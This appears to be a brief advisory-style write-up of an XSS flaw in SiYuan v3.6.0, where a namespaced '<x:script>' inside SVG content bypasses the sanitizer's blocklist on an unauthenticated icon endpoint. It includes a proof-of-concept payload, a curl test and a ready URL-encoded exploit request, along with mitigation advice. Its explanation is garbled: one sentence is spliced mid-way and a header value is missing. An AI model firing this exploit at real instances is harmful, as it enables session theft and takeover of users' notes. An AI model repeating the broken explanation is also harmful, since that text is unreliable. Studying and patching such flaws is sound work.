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How the mentioned CVE works
The unauthenticated `/api/icon/getDynamicIcon` endpoint inserts user‑controlled `content` directly into an SVG `github.com/88250/lute/html) stores the full qualified name of elements, including any XML namespace prefix. An attacker supplies a payload like <x:script xmlns:x="http://www.w3.org/2000/svg">alert(1)</x:script>. The parser records Node.Data = "x:script", which does not match the blocklist condition tag == "script", so the element survives. The SVG is served with `Content-Type: image/svg+xml` and no CSP. When the victim opens the URL, the browser resolves the `x:` prefix to the SVG namespace and executes the script. Because the endpoint is unauthenticated and `Access-Control-Allow-Origin: ` is set, the attacker can craft a link that, once clicked, runs same‑origin JavaScript, allowing full control over the victim’s notes, settings, and API calls.
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Platform: SiYuan
Version: v3.6.0
Vulnerability: XSS via namespace
Severity: Medium
date: 2026-04-01
Prediction: Fixed in v3.6.1
What Undercode Say:
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Verify the parser behavior echo '<x:script xmlns:x="http://www.w3.org/2000/svg">alert(1)</x:script>' | go run main.go Test vulnerable endpoint curl -i "http://127.0.0.1:6806/api/icon/getDynamicIcon?type=8&color=red&content=%3C%2Ftext%3E%3Cx%3Ascript%20xmlns%3Ax%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3Ealert%28document.domain%29%3C%2Fx%3Ascript%3E%3Ctext%3E"
Exploit:
`GET /api/icon/getDynamicIcon?type=8&color=red&content=%3C%2Ftext%3E%3Cx%3Ascript%20xmlns%3Ax%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3Ealert%28document.domain%29%3C%2Fx%3Ascript%3E%3Ctext%3E`
Protection from this CVE
Upgrade to SiYuan ≥ v3.6.1 where the sanitizer strips namespace prefixes before blocklist comparison. Alternatively, apply a WAF rule to block `xmlns:` patterns in the `content` parameter and enforce a strict CSP for SVG endpoints.
Impact:
Remote unauthenticated XSS leading to same‑origin script execution. An attacker on the same network can steal session cookies, read all notes, export data, modify settings, and perform any authenticated action without user interaction beyond clicking a malicious link.
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Sources:
Reported By: github.com
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